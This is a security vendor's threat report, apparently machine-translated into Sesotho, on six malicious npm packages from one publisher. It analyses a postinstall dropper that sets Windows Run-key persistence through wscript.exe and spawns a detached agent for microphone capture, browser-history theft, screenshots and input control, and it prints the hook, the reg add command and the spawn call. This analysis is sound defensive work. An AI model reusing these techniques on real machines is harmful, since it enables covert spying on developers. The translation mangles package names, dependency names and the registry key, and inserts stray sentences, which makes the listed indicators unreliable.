TL; DR
Pakeng tsa la 1 Mmesa le la 3 Mots'eanong, 2026, mohatisi a le mong oa npm, user0001, e ngolisitsoe ka aterese ea Gmail e sa netefatsoang tanvisoul9@gmail.com, ba sutumelletsa ka lenyele liphutheloana tse tšeletseng ka mabitso a sa hlakang ka boomo, a utloahalang eka ke a meralo ea motheo: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, 'me node-env-resolve.
Liphetolelo tse peli tsa morao-rao tsa node-env-resolve, 1.0.7 le 1.0.8, li ile tsa tšoauoa ke sistimi ea Xygeni's Malware Early Warning (MEW) ka la 2 Mots'eanong 'me tsa netefatsoa hore li kotsi ka la 3 Mots'eanong.
Setha sena ha sea tloaeleha ka seo se seng sona: ha ho na liroboto tsa Telegram, ha ho na li-callback tsa OAST, ha ho joalo ho tsuba, mme ha ho na boiteko ba ho fumana mangolo a tumello a AWS ka nako ya ho kenya. Ho ena le hoo, postinstall.js e jala ho kena ha Windows boot-persistence, e sebelisa senotlolo sa HKCU Run se qalang wscript.exe kgahlanong le stub ya VBS. Ebe e hlahisa moemeli wa Node.js o arohaneng o kopanyang di-module bakeng sa ho hapa maekerofounu, bosholu ba nalane ya sebatli, ho nka ditshwantsho tsa skrine, le ketsiso ya mouse/keyboard.
Re bitsa sehlopha sena DevTap, kamora hore kit e tlohe e sebetse mochining wa moqapi.
Liphutheloana tsohle tse tšeletseng li ne li le teng ka npm nakong ea ho ngola. Re li rometse mocha oa tlhekefetso oa ngoliso. Basireletsi ba lokela ho hula li-install leha e le life ho tsoa ho mohatisi ha ba ntse ba emetse ho tlosoa.
Sehlopha: Liphutheloana tse Tšeletseng, Mohatisi a le Mong
Ak'haonte ea mohatisi user0001 ha e netefatsoe. Ha e na SCM netefatso, ha ho imeile e tlamahantsoeng le domain, le nalane ea pele. Mochini oa Gmail tanvisoul9 ha e hlahe rekotong efe kapa efe e 'ngoe ea mohatisi oa npm eo re ka e fumanang.
Liphutheloana tsohle tse tšeletseng li thathamisa mohlokomeli a le mong, li phatlalalitsoe ho tsoa akhaonteng e le 'ngoe, 'me li arolelana tse tšoanang package.json seteishene sa boilerplate. Ha ho na repository, che homepage, le che description e telele ho feta mola o le mong.
Leano la ho reha mabitso ke karolo e khahlisang. Ho fapana le letšolo la khale la pherekano ea ho itšetleha kapa la typosquat, ha ho le le leng la mabitso ana le shebaneng le laeborari e itseng e holimo. Ho e-na le hoo, a lekantsoe hore a nyamele e le la sebele. package.json or npm ls Tlhahiso.
| sephutheloana | E phatlalalitsoe pele | Phetolelo e ncha | Litemana | Karolo ho Sehlopha |
|---|---|---|---|---|
| centralogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, ho tloha ho 1.0.5 ho isa ho 1.0.9 | Sekoahelo sa "thuso ea ho rekota" sa Cluster; phatlalatso ea pele |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Sekoahelo sa mothusi oa DOM se tloaelehileng |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Lelapa la ho lata li-node tse etsisang |
| moemeli oa sehokelo | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Lebitso le akaretsang “moemeli” |
| nako ea ho sebetsa ea node-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Lisebelisoa tsa ho haha tsa module tsa native-module |
| tharollo ea node-env | 2026-04-25 05:21 UTC | 1.0.9 | 10, ho tloha ho 1.0.0 ho isa ho 1.0.9 | Setlolo se sebetsang; se kentsweng ka botlalo |
Mabitso a kang centralogger, node-fetch-lite, 'me node-gyp-runtime li etselitsoe ho shebahala li se na phehisano tlhahlobong ea khoutu. Li utloahala joaloka lintho tse seng li ntse li le sefateng sa ho itšetleha ka projeke.
Ha di kopantswe le mohatisi e motjha, ya sa netefatswang le dihokelo tse sieo tsa polokelo, di bopa paterone e tsebahalang: sebapali se jalang mabitso a nang le diphapang tse tlase ka hara registry, ebe se pheta-pheta kapele ho a bohlokwa. Tabeng ena, node-env-resolve e fumane mefuta e leshome ka matsatsi a robeli.
Seo se Lebang Lebokoseng la Windows Dev
Ketane e kotsi e teng node-env-resolve:1.0.8 e kgutshwane, e otlolohile, mme e na le dikarolo tse ngata ka tsela e sa tlwaelehang bakeng sa npm RAT.
Kamora ho kenya: Ho phehella le ho itšehla thajana
package.json e phatlalatsa sehokelo se le seng sa ho kenya:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js e etsa lintho tse tharo ka tatellano.
Taba ea pele, e hlophisa bukana ea ho kenya ka ntle ho sefate sa npm. Tsela e baloa nakong ea ts'ebetso ho script joalo ka ha INSTALL_DIREbe e tsamaisa karolo ea kahare execSync('npm install --production --silent ...') ka hare ho yona ho hula di-implant tse itshetlehileng ka nako ya ho sebetsa. Sena se beha moemeli ho disk kae-kae bukaneng ya tataiso node_modules tlhahlobo e ke ke ea fumana.
Taba ea bobeli, e ngola sesebelisoa sa ho qala sa VBS mme e se ngolisa bakeng sa ho phehella ha boot:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe ke Windows Script Host, binary e saennweng ya Microsoft e sebetsang .vbs difaele tse se nang fensetere ya khomphutha. Seo ke pelecisKe hobane'ng ha e ratoa bakeng sa li-stub tsa autorun.
Hape ho na le ho bapisa reg delete tsela e ka hare src/index.js, e leng se bolelang hore implant e etselitsoe ho tlosoa ka mokhoa o hloekileng ka taelo ea opereishene.
Ea boraro, e hlahisa ts'ebetso e arohaneng ea ngoana:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Lintlha tse peli lia bohlokoa mona.
SERVER_URL e balwa ho tsoa tikolohong. Ka lebaka leo, ntlha ea ho qetela ea C2 e ka hlophisoa ka ho kenngoa 'me ha e kenngoe ka har'a sephutheloana. Khetho eo e nyane empa e entsoe ka boomo e hlola boholo ba li-sweep tsa static-IOC.
Hape, ngwana ya tswetsweng o rua tikoloho e felletseng ya motswadi. Ka hona, mang kapa mang NPM_TOKEN, AWS_*, GITHUB_TOKEN, kapa sokete ea moemeli oa SSH e teng ka har'a khetla ea moqapi nakong ea ho kenya e kena mohopolong oa moemeli ea phetseng nako e telele.
Seo Moemeli a Romelang ka Sona
Tse kopantsoeng src/ sefate se kenyeletsa dimmojule tse tharo tseo mabitso a tsona feela a phetang pale: audioCapture.js, browserHistory.js, 'me systemInfo.js.
Lethathamo la ho itšetleha ka nako ea ts'ebetso, le rarollotsoe nakong ea ho hlophisoa npm install, e a ba tiisa.
Mokhoa ona o fetola ketsahalo e ferekanyang hore e be karabelo e laoloang.
Ho e-na le ho arabela ka bofofu, lihlopha li sebetsa le ho beha lintho pele ka ho hlaka le ho lokisa lintho ka potlako.
| ba itshetlehileng | Ke Hobane'ng ha e le Teng Moelelong ona? |
|---|---|
| desktop ea skrini | Ho nkuwa ha skrine nako le nako |
| @fereko-ea-sefate-sa linate/js ea linate | Ketsiso ea ho iketsetsa/ho kenya ea toeba le keyboard |
| better-sqlite3 | Ho bala ka ho toba ha li-database tsa SQLite tsa Chrome, Edge, le Firefox History |
| aterese ea adm | Ho kopanya lintho tsa khale tse bokelletsoeng pele li ntšoa ka ntle |
| E bohale | Ho fetola boholo/ho hatella di-skrini le dintho tsa kgale tsa ditshwantsho |
| moreki oa socket.io | Kanale ea C2 e sa fetoheng e nang le mahlakore a mabeli |
| boitsebiso ba mochini oa node | Menoana e tsitsitseng ea moamoheli ka mong bakeng sa ho latela motho ea hlokofalitsoeng |
systemInfo.js mehala os.networkInterfaces() bakeng sa ho hatisa menoana e eketsehileng pele ho lebone la pele.
Hobaneng ha ho Nkoa ha Audio e le Letšoao le Ikhethang
Bongata ba li-RAT tsa npm tseo re li lekang ho MEW li emisa nakong ea ho kenya bosholu ba lekunutu. Li baleha joalo ka ha ho baloa. ~/.npmrc, bala ~/.aws/credentials, ho kgwahla process.env, ROMELA ho webhook, 'me u tsoe. Seo se lumellana le mohlala oa moruo o potlakileng le o hapang. Litšupiso li na le nako e khuts'oane ea bophelo, 'me mohlaseli o hloka ho etsa chelete kapele.
node-env-resolve e fapane ka sebopeho.
Ho phehella ho hlophisitsoe ho pholoha ho qala botjha. Moemeli o sebetsa a arohane mme o phela nako e telele tlasa wscript.exe. Sete eo e e jereng ke ya ho ba moo mochining wa moqapi, eseng ya ho nka le ho siya: sehatisi sa maekerofounu, mokhanni wa keyboard/mouse, ho kenya nalane e felletseng ya sebatli, ho hapa skrine, le kanale e sebedisanang ya Socket.IO ho kgutlela ho C2 e ka hlophiswang.
Ho hapa maekerofouno haholo-holo ke mola oo letšolo lena le o tšelang oo boholo ba malware a npm a sa o tšeleng.
Sebaka sa mosebetsi sa moqapi, ka ho eketsehileng, ke sebaka sa mosebetsi moo bahlahisi ba nkang maemo a ho ema, mehala ea bareki, lipuisano tsa meralo le marokho a ho letsetsa. Sejo se kentsoeng se rekotang maekerofounu ha se latele token ea npm ea moqapi. Ke latele seo moqapi a se buang ka pel'a laptop.
Bokhoni boo bo behiloe, hammoho le ho hloka ho patoa le ho se be teng ha ho sefshoa ha nako ea ho kenya, ho baloa e le mokhoa oa ho beha phihlello e reretsoeng ho fapana le bosholu ba mangolo a tumello a nang le monyetla.
Ha re tiise hore ho na le thoriso ho tsoa ho sena feela. Re hlokomela boemo ba ts'ebetso.
Mokete oa ho pheta-pheta oa matsatsi a robeli o node-env-resolve ke ntlha e hlalosang ka ho fetisisa kemisong ea nako.
Hona ha se ho theoha ho sa lebaleheng. Mohatisi o ntse a hlokomela dropper ka mafolofolo, e leng se bolelang e 'ngoe ea lintho tse peli. Ebang ba e lokisa khahlanong le maemo a liteko pele ba e kenya ka bongata, kapa ba se ba ntse ba e-na le telemetry ea ho kenya 'me ba e arabela.
Liphutheloana tse ling tse hlano ha lia ka tsa bona phetoho ka mor'a phatlalatso ea tsona ea pele. Seo se lumellana le mohlala oa "sethaleng hang, tlohela lebitso" bakeng sa sehlopha se tšehetsang ha boiteko ba boenjiniere bo shebane le sephutheloana se etsang mosebetsi.
Tlhaloso: Mabaka a Manyenyane, Ha ho Qeto e Tiileng
Public OSINT Matshwao a masesaane, mme re ke ke ra a otlolla. Se bonahalang:
Mohala oa Gmail tanvisoul9 e batla e tšoana le lebitso la Asia Boroa, "Tanvi." Ena ke lets'oao le fokolang. Li-handles tsa Gmail ha se boitsebahatso, 'me lia sala morao soul9 ke ntho e akaretsang. Ha ho bolokehe ho fumana sebaka ka imeile feela.
Mokhoa oa khoutu ha o makatse Node.js: standard mehala ea laeborari joalo ka os, child_process, spawn, 'me reg add. Ha ho na ho se tsitse, ha ho na ho potoloha ha khoele, 'me ha ho na mokhoa oa ho thibela ho lokisa liphoso. Mongoli o phutholohile ka li-primitives tsa ngoliso ea Windows le mokhoa oa ho hlophisa mokhoa oa bana o arohaneng, empa ho bonahala a sa batle khoebo e patiloeng eo mohlomong ba ka e sebelisang.
Litšekamelo ha lia tloaeleha ka ho feletseng 'me li tsebahala haholo: screenshot-desktop, nut-js, better-sqlite3, 'me socket.io-clientHa ho na protocol e ikhethileng, ha ho na stack ea C2 e phutholohileng ho tloha qalong, 'me ha ho na leqheka le lecha la ho phehella ka ntle ho buka ea thuto. Senotlolo sa ho matha sa HKCU. Enoa ke mohlophisi ea nang le bokhoni, eseng mongoli oa lisebelisoa.
Ha rea fumana likhoele tse seng tsa Senyesemane, litlhaloso tse kentsoeng, data ea sebaka, kapa menoana ea nako ea sebaka sa compiler-output ka har'a lintho tsa khale tse phatlalalitsoeng.
Re hlahlobile ho kopana ha khoutu le matšolo a fetileng ao re seng re ntse re a latela, ho kenyeletsoa Shai-Hulud, Sephooko, Buildkite, le heibai ea morao tjena / claude-code-best Lelapa la clone la Anthropic-CLI. Ha rea fumana letho: ha ho na dipaterone tsa C2 tse arolelanoang, ha ho na meralo ya difaele tse arolelanoang, le maele a arolelanoang.
Seo re ke keng ra se bua: hore ena ke sebapali sa mmuso, sehlopha se tsebahalang, kapa se amanang le naha efe kapa efe e itseng ka sebaka.
Boemo ba ts'ebetso bo tsamaellana le sehlopha se senyenyane, se nang le boiphihlelo bo itekanetseng se etsang tlhahlobo ea baqapi le setsi sa mosebetsi. Ho ka etsahala hore ebe se susumetsoa ke lichelete ka lebaka la tšebeliso e tlase ea phihlello, empa mohlomong hape le tlhahlobo-joaloka-tšebeletso bakeng sa moreki ea arohaneng.
Lintlha tse peli tse sa tobang li tšehetsa tse balehang tjena: ho qoba mekhoa ea ho ntša lintho tse hohelang tlhokomelo e ka chesang sehlopha kapele, joalo ka liroboto tsa Telegram, oastify.com, kapa di-canarytoken, le mabitso a diphutheloana tse sa hlakang ka boomo, a ratang ho kenngwa ha mohatla o molelele o kgutsitseng hodima ho phahama ha modumo o mokgutshwane.
Matšoao a ho Sekisetsa le ho Lemoha
| Liphutheloana le Mohatisi | |
|---|---|
| Tšimo | latela boleng ba |
| mohatisi oa npm | User0001 |
| Imeile ea mohatisi | tanvisoul9@gmail.com, ha ea netefatsoa |
| Packages | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| E netefalitsoe e le kotsi | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Lintho tsa khale tse amohelang | |
|---|---|
| Type | latela boleng ba |
| Senotlolo sa ho phehella | HKCU\Software\Microsoft\Windows\CurrentVersion\Sebetsa |
| Boleng ba ho phehella | Lebitso le feto-fetohang; data ea foromo ea wscript.exe " \\ .vbs" |
| Kenya sekhomaretsi | kamora ho kenya: node postinstall.js ho pontšo ea sephutheloana |
| Li-module tsa ho kenya | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Bukana ea ho hlophisa sethala | INSTALL_DIR e rarollotsoe ka ntle ho node_modules tsa projeke; sebaka se behiloe ke postinstall.js nakong ea ho kenya |
| Network | |
|---|---|
| Type | latela boleng ba |
| Sepalangoang sa C2 | socket.io-client, kanale e phehellang ea mahlakore a mabeli |
| Qetello ea C2 | E fanoe ho moemeli ka phetoho ea tikoloho ea SERVER_URL; ha e na khoutu e thata ho lintho tsa khale tse phatlalalitsoeng |
Lintlha tsa ho lemoha
Melao e 'meli e tšoara lelapa lena ntle le ho hloka ntlha ea C2.
Taba ea pele, tšoaea lingoloa tsa kamora ho kenya tse etsang mosebetsi oa kahare npm install tseleng e ka ntle ho bukana ea sephutheloana. Sesebelisoa sefe kapa sefe sa ho jarolla esale pele se molaong, joalo ka node-gyp e tsosolosa kapa e se e hahile li-download tsa binary, e ngola ka har'a sephutheloana kapa sethaleng-standard litsela tsa cache tse nang le li-hashe tse netefalitsoeng. Ha e ngole ho e sa tsoa etsoa INSTALL_DIR sebakeng se seng ho disk.
Ea bobeli, tšoaea lingoloa tsa kamora ho kenya tse ntšitsoeng reg add HKCU\…\Run le wscript.exe jwalo ka sebui. Ha e le hantle sena ha se molaong ho tsoa sephutheloana sa npm. Se tšoaee 'me u se behelle ka thoko.
Mokhoa oa boraro oa ho bala lintho o thusa ho bona sephutheloana se latelang sa banab'eso pele se netefatsoa: mohatisi e mocha oa npm ea se nang letho SCM netefatso, imeile ea Gmail, ha ho na repository tšimo, le mabitso a mangata a liphutheloana a makhutšoane, a akaretsang, a utloahalang eka ke a meralo ea motheo a phatlalalitsoeng matsatsing a 'maloa, ka boona, a lekane ho etsa hore tlhahlobo e etsoe ka letsoho.
E tlalehiloe ho ngoliso ea npm. Re tla ntlafatsa poso ena ha ak'haonte ea mohatisi e tlosoa.
